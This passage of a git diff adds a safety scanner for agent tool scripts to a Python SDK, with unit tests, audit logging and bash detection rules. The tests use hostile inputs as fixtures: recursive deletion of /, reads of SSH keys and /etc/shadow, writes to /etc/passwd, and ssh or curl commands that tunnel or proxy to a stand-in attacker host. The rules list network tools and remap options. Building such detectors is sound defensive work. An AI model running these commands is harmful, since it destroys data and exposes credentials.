pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Scanner acceptance-oriented unit tests.""" + +import pytest + +from trpc_agent_sdk.tools.safety import RiskCategory +from trpc_agent_sdk.tools.safety import SafetyDecision +from trpc_agent_sdk.tools.safety import ScriptLanguage +from trpc_agent_sdk.tools.safety import ScriptPayload +from trpc_agent_sdk.tools.safety import ScriptScanRequest +from trpc_agent_sdk.tools.safety import ToolMetadata +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy + + +@pytest.fixture +def guard(): + policy = ToolSafetyPolicy( + allowed_domains=["api.example.com"], + allowed_commands=["echo", "curl", "python", "bash", "cat"], + forbidden_paths=["~/.ssh", ".env", "/etc/shadow"], + max_timeout_seconds=30, + long_sleep_seconds=5, + max_concurrency=4, + ) + return ToolScriptSafetyGuard(policy) + + +def _request(code, language=ScriptLanguage.PYTHON, timeout=None): + return ScriptScanRequest( + payloads=[ScriptPayload(language=language, content=code)], + metadata=ToolMetadata(name="test_tool"), + requested_timeout_seconds=timeout, + effective_timeout_seconds=30, + max_output_bytes=1024, + ) + + +def _rule_ids(report): + return {finding.rule_id for finding in report.findings} + + +def test_safe_python_allowed(guard): + report = guard.scan(_request("values = [1, 2, 3]\nprint(sum(values))")) + assert report.decision == SafetyDecision.ALLOW + + +def test_recursive_delete_denied_python_alias(guard): + report = guard.scan(_request("import shutil as files\nfiles.rmtree('/tmp/data')")) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + "open('~/.ssh/id_rsa').read()", + "from pathlib import Path\nPath('.env').read_text()", + "open('/etc/shadow').read()", + ], +) +def test_sensitive_path_always_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "FILE002" in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + "import requests\nrequests.get('https://evil.test/data')", + "from requests import get as fetch\nfetch('https://' + 'evil.test/data')", + "import socket as s\ns.create_connection(('evil.test', 443))", + ], +) +def test_non_allowlisted_network_denied_or_reviewed(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "NET001" in _rule_ids(report) + + +def test_allowlisted_network_allowed(guard): + report = guard.scan(_request("import requests\nrequests.get('https://api.example.com/v1')")) + assert report.decision == SafetyDecision.ALLOW + + +def test_dynamic_network_requires_review(guard): + report = guard.scan(_request("import requests\nrequests.get(target)")) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "NET002" in _rule_ids(report) + + +def test_subprocess_requires_review(guard): + report = guard.scan(_request("import subprocess\nsubprocess.run(['echo', 'ok'])")) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC001" in _rule_ids(report) + + +def test_shell_injection_with_delete_denied(guard): + report = guard.scan(_request("echo ok; rm -rf /", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_dependency_install_requires_review(guard): + report = guard.scan(_request("pip install untrusted", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "DEP001" in _rule_ids(report) + + +def test_infinite_loop_denied(guard): + report = guard.scan(_request("while True:\n pass")) + assert report.decision == SafetyDecision.DENY + assert "RES001" in _rule_ids(report) + + +def test_sensitive_output_denied_and_redacted(guard): + code = "password = 'very-secret-password'\nprint(password)" + report = guard.scan(_request(code)) + serialized = report.model_dump_json() + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + assert "very-secret-password" not in serialized + + +def test_bash_pipeline_requires_review(guard): + report = guard.scan(_request("echo ok | cat", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC001" in _rule_ids(report) + + +def test_nested_python_payload_is_scanned(guard): + command = "python -c \"import shutil; shutil.rmtree('/tmp/data')\"" + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_unallowed_command_requires_review(guard): + report = guard.scan(_request("uname -a", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "POLICY002" in _rule_ids(report) + + +def test_timeout_over_policy_requires_review(guard): + report = guard.scan(_request("print('ok')", timeout=31)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "POLICY001" in _rule_ids(report) + + +def test_missing_execution_payload_requires_review(guard): + request = _request("") + request.payloads = [] + report = guard.scan(request) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_not_applicable_tool_is_allowed(guard): + request = _request("") + request.payloads = [] + request.applicable = False + report = guard.scan(request) + assert report.decision == SafetyDecision.ALLOW + assert report.applicable is False + + +def test_500_line_script_scans_under_one_second(guard): + request = _request("\n".join(f"value_{index} = {index}" for index in range(500))) + report = guard.scan(request) + assert report.duration_ms < 1000 + + +def test_categories_are_structured(guard): + report = guard.scan(_request("rm -rf /", ScriptLanguage.BASH)) + assert any(finding.category == RiskCategory.FILE for finding in report.findings) + + +def test_stdin_payload_is_scanned(guard): + request = _request("bash", ScriptLanguage.BASH) + request.payloads[0].stdin = "rm -rf /" + report = guard.scan(request) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_non_interpreter_stdin_is_not_scanned_as_shell(guard): + request = _request("cat", ScriptLanguage.BASH) + request.payloads[0].stdin = "rm -rf /" + report = guard.scan(request) + assert report.decision == SafetyDecision.ALLOW + + +def test_wrapped_python_stdin_uses_python_rules(guard): + request = _request("env /usr/bin/python -", ScriptLanguage.BASH) + request.payloads[0].stdin = "import shutil; shutil.rmtree('/')" + report = guard.scan(request) + assert report.decision == SafetyDecision.DENY + + +def test_payload_argv_is_scanned(guard): + request = _request("echo ok", ScriptLanguage.BASH) + request.payloads[0].argv = ["~/.ssh/id_rsa"] + report = guard.scan(request) + assert report.decision == SafetyDecision.DENY + + +@pytest.mark.parametrize( + "command", + [ + "echo ok\nrm -f -r /", + "echo ok\nrm --recursive --force /", + ], +) +def test_recursive_rm_variants_denied(guard, command): + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_dynamic_python_file_path_requires_review(guard): + code = 'import os\npath = os.getenv("X")\nprint(open(path).read())' + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "FILE003" in _rule_ids(report) + + +def test_relative_forbidden_path_resolves_against_cwd(): + policy = ToolSafetyPolicy( + forbidden_paths=["/workspace/secret"], + allowed_commands=["python"], + ) + local_guard = ToolScriptSafetyGuard(policy) + request = _request("open('../secret').read()") + request.cwd = "/workspace/sub" + report = local_guard.scan(request) + assert report.decision == SafetyDecision.DENY + + +@pytest.mark.parametrize( + "code", + [ + "import requests\nrequests.Session().get(target)", + "import requests\nsession = requests.Session()\nsession.get(target)", + "from urllib import request\nrequest.urlopen(target)", + ], +) +def test_network_client_variants_require_review(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "NET002" in _rule_ids(report) + + +def test_wrapped_dynamic_network_requires_review(guard): + report = guard.scan(_request("env curl \"$URL\"", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "NET002" in _rule_ids(report) + + +def test_wrapped_nested_interpreter_is_scanned(guard): + command = "command bash -c \"rm -rf /\"" + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.DENY + + +def test_python_comment_with_url_does_not_trigger(guard): + report = guard.scan(_request("# docs: https://evil.test\nprint('safe')")) + assert report.decision == SafetyDecision.ALLOW + + +@pytest.mark.parametrize( + "code", + [ + "from concurrent.futures import ThreadPoolExecutor\nThreadPoolExecutor(100)", + "import asyncio\nasyncio.gather(*tasks)", + ], +) +def test_concurrency_variants_require_review(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "RES002" in _rule_ids(report) + + +@pytest.mark.parametrize("command", ["sleep infinity", "sleep 2m"]) +def test_long_sleep_variants_require_review(guard, command): + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "RES002" in _rule_ids(report) + + +def test_background_execution_requires_review(guard): + request = _request("echo ok", ScriptLanguage.BASH) + request.background = True + report = guard.scan(request) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC003" in _rule_ids(report) + + +@pytest.mark.parametrize( + ("code", "language"), + [ + ("echo pwned > /etc/passwd", ScriptLanguage.BASH), + ("open('/etc/passwd', 'w').write('pwned')", ScriptLanguage.PYTHON), + ("import io\nio.open('/etc/passwd', mode='a')", ScriptLanguage.PYTHON), + ("import os\nos.open('/etc/passwd', os.O_WRONLY)", ScriptLanguage.PYTHON), + ], +) +def test_system_path_writes_are_denied(guard, code, language): + report = guard.scan(_request(code, language)) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_network_get_with_secret_is_denied(guard): + code = ("import requests\n" + "token = get_token()\n" + "requests.get('https://api.example.com', headers={'Authorization': token})") + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + +def test_request_method_uses_second_url_argument(guard): + code = "import requests\nrequests.request('GET', 'https://api.example.com/v1')" + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.ALLOW + + +def test_plain_bash_url_does_not_trigger_network_rule(guard): + report = guard.scan(_request("echo https://evil.test", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.ALLOW + + +def test_nohup_requires_review_and_scans_wrapped_sleep(guard): + report = guard.scan(_request("nohup sleep 2h", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert {"PROC003", "RES002"}.issubset(_rule_ids(report)) + + +def test_json_secret_is_fully_redacted(guard): + report = guard.scan(_request("print({'password': 'top secret phrase'})")) + assert report.decision == SafetyDecision.DENY + assert "top secret phrase" not in report.model_dump_json() + + +@pytest.mark.parametrize( + "command", + [ + "echo pwned>/etc/passwd", + "target=/etc/passwd; echo pwned > \"$target\"", + ], +) +def test_bash_redirection_bypasses_are_blocked(guard, command): + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.decision != SafetyDecision.ALLOW + + +@pytest.mark.parametrize( + ("code", "language"), + [ + ("echo pwned > passwd", ScriptLanguage.BASH), + ("open('passwd', 'w').write('pwned')", ScriptLanguage.PYTHON), + ], +) +def test_relative_system_writes_use_execution_cwd(guard, code, language): + request = _request(code, language) + request.cwd = "/etc" + report = guard.scan(request) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_authorization_header_value_is_secret_tainted(guard): + code = ("import requests\n" + "credential = get_value()\n" + "requests.get('https://api.example.com', headers={'Authorization': credential})") + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + +@pytest.mark.parametrize( + "command", + [ + "ssh -F none -L 8080:evil.example:80 api.example.com", + "ssh -R 8080:evil.example:80 api.example.com", + "ssh -o 'ProxyCommand nc evil.example 22' api.example.com", + "curl --resolve api.example.com:443:evil.example https://api.example.com", + "curl --proxy https://evil.example https://api.example.com", + "wget -e use_proxy=yes https://api.example.com", + "wget --execute=http_proxy=http://evil.example https://api.example.com", + ], +) +def test_network_destination_remapping_is_denied(command): + policy = ToolSafetyPolicy( + allowed_commands=["curl", "ssh", "wget"], + allowed_domains=["api.example.com"], + ) + report = ToolScriptSafetyGuard(policy).scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.DENY + assert "NET003" in _rule_ids(report) + + +def test_plain_ssh_destination_uses_domain_allowlist(): + policy = ToolSafetyPolicy( + allowed_commands=["ssh"], + allowed_domains=["api.example.com"], + ) + local_guard = ToolScriptSafetyGuard(policy) + allowed = local_guard.scan(_request("ssh user@api.example.com", ScriptLanguage.BASH)) + denied = local_guard.scan(_request("ssh user@evil.example", ScriptLanguage.BASH)) + assert allowed.decision == SafetyDecision.ALLOW + assert denied.decision == SafetyDecision.DENY + + +def test_process_runner_cannot_hide_nested_command(): + policy = ToolSafetyPolicy(allowed_commands=["timeout"]) + report = ToolScriptSafetyGuard(policy).scan(_request("timeout 10 rm -rf /", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC001" in _rule_ids(report) + + +def test_tilde_path_resolves_against_execution_home(): + policy = ToolSafetyPolicy( + allowed_commands=["cat"], + forbidden_paths=["/root"], + ) + request = _request("cat ~/.bash_history", ScriptLanguage.BASH) + request.execution_home = "/root" + report = ToolScriptSafetyGuard(policy).scan(request) + assert report.decision == SafetyDecision.DENY + assert "FILE002" in _rule_ids(report) + + +def test_unknown_execution_home_requires_review(): + policy = ToolSafetyPolicy(allowed_commands=["cat"], forbidden_paths=["/root"]) + request = _request("cat ~/notes.txt", ScriptLanguage.BASH) + request.execution_home = None + report = ToolScriptSafetyGuard(policy).scan(request) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "FILE003" in _rule_ids(report) + + +def test_invalid_sleep_duration_fails_closed(guard): + report = guard.scan(_request("sleep invalid", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "RES002" in _rule_ids(report) + + +@pytest.mark.parametrize( + "command", + [ + "sleep 1 1000", + "sleep -1", + "sleep NaN", + "sleep", + ], +) +def test_all_invalid_or_long_sleep_arguments_fail_closed(guard, command): + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "RES002" in _rule_ids(report) + + +@pytest.mark.parametrize( + "command", + [ + "curl -sKconfig https://api.example.com", + "ssh -vL8080:evil.example:80 api.example.com", + ], +) +def test_clustered_network_remap_options_are_denied(command): + policy = ToolSafetyPolicy( + allowed_commands=["curl", "ssh"], + allowed_domains=["api.example.com"], + ) + report = ToolScriptSafetyGuard(policy).scan(_request(command, ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.DENY + assert "NET003" in _rule_ids(report) + + +def test_allowlisted_curl_url_is_not_a_short_option_cluster(): + policy = ToolSafetyPolicy( + allowed_commands=["curl"], + allowed_domains=["api.example.com"], + ) + report = ToolScriptSafetyGuard(policy).scan(_request("curl https://api.example.com", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.ALLOW + assert "NET003" not in _rule_ids(report) + + +def test_wget_force_directories_is_not_a_remap_option(): + policy = ToolSafetyPolicy( + allowed_commands=["wget"], + allowed_domains=["api.example.com"], + ) + report = ToolScriptSafetyGuard(policy).scan(_request("wget -x https://api.example.com", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.ALLOW + assert "NET003" not in _rule_ids(report) + + +@pytest.mark.parametrize("path", ["~", "~root/.ssh/config"]) +def test_unresolved_tilde_variants_require_review(path): + policy = ToolSafetyPolicy(allowed_commands=["cat"], forbidden_paths=["/root"]) + request = _request(f"cat {path}", ScriptLanguage.BASH) + request.execution_home = None + report = ToolScriptSafetyGuard(policy).scan(request) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "FILE003" in _rule_ids(report) diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py new file mode 100644 index 000000000..b80ebe7af --- /dev/null +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -0,0 +1,60 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tool script safety guard public API.""" + +from ._integration import adapt_cli_request +from ._integration import adapt_code_execution_input +from ._integration import adapt_tool_request +from ._audit import AuditSink +from ._audit import CompositeAuditSink +from ._audit import JsonlAuditSink +from ._audit import LoggingAuditSink +from ._audit import SafetyAuditError +from ._audit import SafetyAuditDegradedError +from ._integration import SafetyGuardedCodeExecutor +from ._integration import ToolSafetyFilter +from ._integration import ToolSafetyViolation +from ._models import RiskCategory +from ._models import RiskLevel +from ._models import SafetyAuditEvent +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import SafetyReport +from ._models import ScriptLanguage +from ._models import ScriptPayload +from ._models import ScriptScanRequest +from ._models import ToolMetadata +from ._models import ToolSafetyPolicy +from ._sanitizer import SafetySanitizer +from ._scanner import ToolScriptSafetyGuard + +__all__ = [ + "RiskCategory", + "RiskLevel", + "AuditSink", + "CompositeAuditSink", + "JsonlAuditSink", + "LoggingAuditSink", + "SafetyAuditError", + "SafetyAuditDegradedError", + "SafetyAuditEvent", + "SafetyDecision", + "SafetyFinding", + "SafetyReport", + "SafetySanitizer", + "SafetyGuardedCodeExecutor", + "ScriptLanguage", + "ScriptPayload", + "ScriptScanRequest", + "ToolMetadata", + "ToolSafetyFilter", + "ToolSafetyViolation", + "ToolScriptSafetyGuard", + "ToolSafetyPolicy", + "adapt_cli_request", + "adapt_code_execution_input", + "adapt_tool_request", +] diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py new file mode 100644 index 000000000..6aa1d597e --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -0,0 +1,202 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Audit sinks for tool safety decisions.""" + +from __future__ import annotations + +from datetime import datetime +from datetime import timezone +import os +from pathlib import Path +import stat +import threading +from typing import IO +from typing import Protocol +import weakref + +from opentelemetry import trace + +from trpc_agent_sdk.log import logger + +from ._models import SafetyAuditEvent +from ._models import SafetyDecision +from ._models import SafetyReport +from ._models import RiskLevel +from ._sanitizer import SafetySanitizer + +_PATH_LOCKS: dict[str, threading.Lock] = {} +_PATH_LOCKS_GUARD = threading.Lock() +_SINK_LOCKS: weakref.WeakKeyDictionary = weakref.WeakKeyDictionary() +_SINK_LOCKS_GUARD = threading.Lock() +_FALLBACK_SINK_LOCK = threading.RLock() +_AUDIT_SANITIZER = SafetySanitizer() +_TELEMETRY_SANITIZER = SafetySanitizer() +_AUDIT_FILE_MODE = 0o600 + + +class SafetyAuditError(RuntimeError): + """Raised when no configured audit sink accepted an event.""" + + +class SafetyAuditDegradedError(SafetyAuditError): + """Raised when only a fallback audit sink accepted an event.""" + + +class AuditSink(Protocol): + """Minimal synchronous audit sink.""" + + def emit(self, event: SafetyAuditEvent) -> None: + """Persist one event or raise.""" + + +class JsonlAuditSink: + """Single-process, thread-safe JSONL audit sink.""" + + def __init__(self, path: str | Path): + self._path = Path(path) + self._lock = _shared_path_lock(self._path) + + def emit(self, event: SafetyAuditEvent) -> None: + """Append and flush one JSON event.""" + line = event.model_dump_json() + "\n" + try: + self._path.parent.mkdir(parents=True, exist_ok=True) + with self._lock: + with _open_secure_file(self._path) as stream: + stream.write(line) + stream.flush() + except OSError as error: + del error + raise SafetyAuditError("tool safety audit write failed") from None + + +class LoggingAuditSink: + """Fallback sink using the project structured logger.""" + + def emit(self, event: SafetyAuditEvent) -> None: + """Write a sanitized JSON event.""" + try: + logger.warning("tool_safety_audit %s", event.model_dump_json()) + except Exception as error: # pylint: disable=broad-except + del error + raise SafetyAuditError("tool safety fallback audit failed") from None + + +class CompositeAuditSink: + """Use a primary sink, then a fallback sink.""" + + def __init__(self, primary: AuditSink, fallback: AuditSink | None = None): + self._primary = primary + self._fallback = fallback or LoggingAuditSink() + + def emit(self, event: SafetyAuditEvent) -> None: + """Persist through at least one sink.""" + try: + self._primary.emit(event) + return + except Exception: # pylint: disable=broad-except + pass + degraded = event.model_copy( + update={ + "decision": ( + event.decision if event.decision == SafetyDecision.DENY else SafetyDecision.NEEDS_HUMAN_REVIEW), + "risk_level": ( + event.risk_level if event.risk_level in {RiskLevel.HIGH, RiskLevel.CRITICAL} else RiskLevel.MEDIUM), + "execution_blocked": + True, + }) + try: + self._fallback.emit(degraded) + except Exception as error: # pylint: disable=broad-except + del error + raise SafetyAuditError("all tool safety audit sinks failed") from None + raise SafetyAuditDegradedError("primary tool safety audit sink failed") + + +def _shared_path_lock(path: Path) -> threading.Lock: + key = str(path.resolve()) + with _PATH_LOCKS_GUARD: + return _PATH_LOCKS.setdefault(key, threading.Lock()) + + +def _open_secure_file(path: Path) -> IO[str]: + flags = os.O_APPEND | os.O_CREAT | os.O_WRONLY | getattr(os, "O_NOFOLLOW", 0) + descriptor = os.open(path, flags, _AUDIT_FILE_MODE) + try: + link_stat = os.lstat(path) + file_stat = os.fstat(descriptor) + if not os.path.samestat(link_stat, file_stat) or not stat.S_ISREG(file_stat.st_mode): + raise OSError("audit path must be a regular non-symlink file") + if os.name == "posix": + os.fchmod(descriptor, _AUDIT_FILE_MODE) + return os.fdopen(descriptor, "a", encoding="utf-8", newline="\n") + except Exception: + os.close(descriptor) + raise + + +def _shared_sink_lock(sink: AuditSink) -> threading.RLock: + with _SINK_LOCKS_GUARD: + try: + lock = _SINK_LOCKS.get(sink) + if lock is None: + lock = threading.RLock() + _SINK_LOCKS[sink] = lock + return lock + except TypeError: + return _FALLBACK_SINK_LOCK + + +def create_audit_event(report: SafetyReport, tool_name: str, execution_blocked: bool) -> SafetyAuditEvent: + """Build the stable audit schema.""" + safe_tool_name, tool_redacted = _AUDIT_SANITIZER.sanitize(tool_name) + rule_ids = [] + rule_redacted = False + for rule_id in report.rule_ids: + safe_rule_id, changed = _AUDIT_SANITIZER.sanitize(rule_id) + rule_ids.append(safe_rule_id) + rule_redacted = rule_redacted or changed + return SafetyAuditEvent( + timestamp=datetime.now(timezone.utc).isoformat(), + tool_name=safe_tool_name, + decision=report.decision, + risk_level=report.risk_level, + rule_ids=rule_ids, + duration_ms=report.duration_ms, + redacted=report.redacted or tool_redacted or rule_redacted, + execution_blocked=execution_blocked, + ) + + +def emit_report(sink: AuditSink, report: SafetyReport, tool_name: str) -> None: + """Emit an audit event for a report.""" + blocked = report.decision != SafetyDecision.ALLOW + event = create_audit_event(report, tool_name, blocked) + try: + with _shared_sink_lock(sink): + sink.emit(event) + except SafetyAuditDegradedError: + raise SafetyAuditDegradedError("primary tool safety audit sink failed") from None + except Exception: # pylint: disable=broad-except + raise SafetyAuditError("tool safety audit failed") from None + + +def set_safety_span_attributes(report: SafetyReport) -> None: + """Set attributes on the current span; telemetry is best effort.""" + try: + span = trace.get_current_span() + rule_ids, rule_ids_redacted = _TELEMETRY_SANITIZER.sanitize(",".join(report.rule_ids)) + span.set_attribute("tool.safety.decision", report.decision.value) + span.set_attribute("tool.safety.risk_level", report.risk_level.value) + span.set_attribute("tool.safety.rule_id", rule_ids) + span.set_attribute("tool.safety.duration_ms", report.duration_ms) + span.set_attribute("tool.safety.redacted", report.redacted or rule_ids_redacted) + span.set_attribute( + "tool.safety.execution_blocked", + report.decision != SafetyDecision.ALLOW, + ) + except Exception: # pylint: disable=broad-except + logger.debug("unable to set tool safety span attributes") diff --git a/trpc_agent_sdk/tools/safety/_bash_rules.py b/trpc_agent_sdk/tools/safety/_bash_rules.py new file mode 100644 index 000000000..3fd92cbcf --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_bash_rules.py @@ -0,0 +1,418 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Bash command safety rules.""" + +from __future__ import annotations + +import os +import math +import re +import shlex + +from ._common_rules import scan_secret_sink +from ._common_rules import host_allowed +from ._common_rules import path_is_system_location +from ._common_rules import scan_urls +from ._models import RiskCategory +from ._models import RiskLevel +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import ScriptLanguage +from ._models import ScriptPayload +from ._models import ScriptScanRequest +from ._models import ToolSafetyPolicy +from ._common_rules import make_finding +from ._common_rules import RuleSpec +from ._sanitizer import SafetySanitizer + +_COMMAND_SPLIT_RE = re.compile(r"\|\||&&|[|;&\n]") +_INSTALL_RE = re.compile(r"(?i)(?:^|\s)(?:pip3?|python\d*\s+-m\s+pip|npm|yarn|apt(?:-get)?|yum|dnf)" + r"\s+(?:install|add)\b") +_FORK_BOMB_RE = re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:") +_INFINITE_LOOP_RE = re.compile(r"(?i)\bwhile\s+(?:true|:)\s*;?\s*do\b") +_SHELL_META_RE = re.compile(r"\$\(|`[^`]+`|(?:^|[^|])\|(?:[^|]|$)|&&|;|(?&])&(?![>&])") +_SINK_RE = re.compile(r"(?i)(?:^|[;&|]\s*)(?:echo|printf|curl|wget)\b|(?:>|>>)") +_INTERPRETERS = frozenset({"sh", "bash", "zsh", "python", "python3"}) +_SHELLS = frozenset({"sh", "bash", "zsh"}) +_COMMAND_WRAPPERS = frozenset({"command", "exec", "nohup"}) +_PROCESS_RUNNERS = frozenset({"chrt", "ionice", "nice", "setsid", "stdbuf", "taskset", "timeout", "xargs"}) +_NETWORK_COMMANDS = frozenset({"curl", "ssh", "wget"}) +_CURL_REMAP_OPTIONS = ("--config", "--connect-to", "--proxy", "--resolve", "-K", "-x") +_WGET_REMAP_OPTIONS = ("--config", "--execute", "-e") +_SSH_REMAP_OPTIONS = ("-D", "-F", "-J", "-L", "-R", "-W") +_SSH_REMAP_CONFIG_KEYS = frozenset({"localcommand", "proxycommand", "proxyjump"}) +_SSH_OPTIONS_WITH_VALUES = frozenset({ + "-B", "-b", "-c", "-E", "-e", "-F", "-I", "-i", "-J", "-L", "-l", "-m", "-O", "-o", "-p", "-Q", "-R", "-S", "-W", + "-w" +}) +_REDIRECT_PATH_RE = re.compile(r"(?])\d*>>?\s*(?!&)([^\s;&|]+)") + +FILE_DELETE = RuleSpec( + RiskCategory.FILE, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Remove recursive deletion or constrain it to an approved workspace.", +) +PROCESS_REVIEW = RuleSpec( + RiskCategory.PROCESS, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Avoid shell composition or obtain explicit approval.", +) +PROCESS_DENY = RuleSpec( + RiskCategory.PROCESS, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Remove privilege escalation or destructive shell behavior.", +) +DEPENDENCY_REVIEW = RuleSpec( + RiskCategory.DEPENDENCY, + RiskLevel.HIGH, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Pin and pre-approve dependencies outside the execution request.", +) +RESOURCE_DENY = RuleSpec( + RiskCategory.RESOURCE, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Remove unbounded process or loop creation.", +) +RESOURCE_REVIEW = RuleSpec( + RiskCategory.RESOURCE, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Reduce execution duration or obtain approval.", +) +COMMAND_REVIEW = RuleSpec( + RiskCategory.POLICY, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Add the command to allowed_commands or use an approved command.", +) +NETWORK_REVIEW = RuleSpec( + RiskCategory.NETWORK, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Use a literal allowlisted destination.", +) +NETWORK_DENY = RuleSpec( + RiskCategory.NETWORK, + RiskLevel.HIGH, + SafetyDecision.DENY, + "Remove destination remapping or use a directly allowlisted endpoint.", +) +FILE_WRITE_DENY = RuleSpec( + RiskCategory.FILE, + RiskLevel.CRITICAL, + SafetyDecision.DENY, + "Write only inside an approved workspace, never to system paths.", +) +FILE_WRITE_REVIEW = RuleSpec( + RiskCategory.FILE, + RiskLevel.MEDIUM, + SafetyDecision.NEEDS_HUMAN_REVIEW, + "Resolve and approve the dynamic write target.", +) + + +def _tokens(segment: str) -> list[str]: + try: + return shlex.split(segment, posix=True) + except ValueError: + return [] + + +def _command_name(segment: str) -> str: + tokens = _unwrap_tokens(_tokens(segment)) + if not tokens: + return "" + index = 0 + while index < len(tokens) and "=" in tokens[index] and not tokens[index].startswith(("/", ".")): + index += 1 + if index >= len(tokens): + return "" + return os.path.basename(tokens[index]).lower() + + +def _unwrap_tokens(tokens: list[str]) -> list[str]: + result = list(tokens) + while result: + name = os.path.basename(result[0]).lower() + if name in _COMMAND_WRAPPERS: + result = result[1:] + continue + if name != "env": + break + result = result[1:] + while result and (result[0].startswith("-") or "=" in result[0]): + result = result[1:] + return result + + +def _recursive_rm(text: str) -> str | None: + for segment in _COMMAND_SPLIT_RE.split(text): + tokens = _unwrap_tokens(_tokens(segment.strip())) + if not tokens or os.path.basename(tokens[0]).lower() != "rm": + continue + options = [item for item in tokens[1:] if item.startswith("-")] + if any(item == "--recursive" or (not item.startswith("--") and "r" in item[1:]) for item in options): + return segment.strip() + return None + + +def _dynamic_network_command(text: str) -> str | None: + for segment in _COMMAND_SPLIT_RE.split(text): + if _command_name(segment.strip()) not in {"curl", "wget"}: + continue + if not re.search(r"https?://", segment, re.IGNORECASE): + return segment.strip() + return None + + +def _unwrapped_segments(text: str) -> list[str]: + return [" ".join(_unwrap_tokens(_tokens(item.strip()))) for item in _COMMAND_SPLIT_RE.split(text)] + + +def _network_command_text(text: str) -> str: + return "\n".join(segment for segment in _unwrapped_segments(text) if _command_name(segment) in {"curl", "wget"}) + + +def _option_matches(token: str, option: str) -> bool: + if token == option 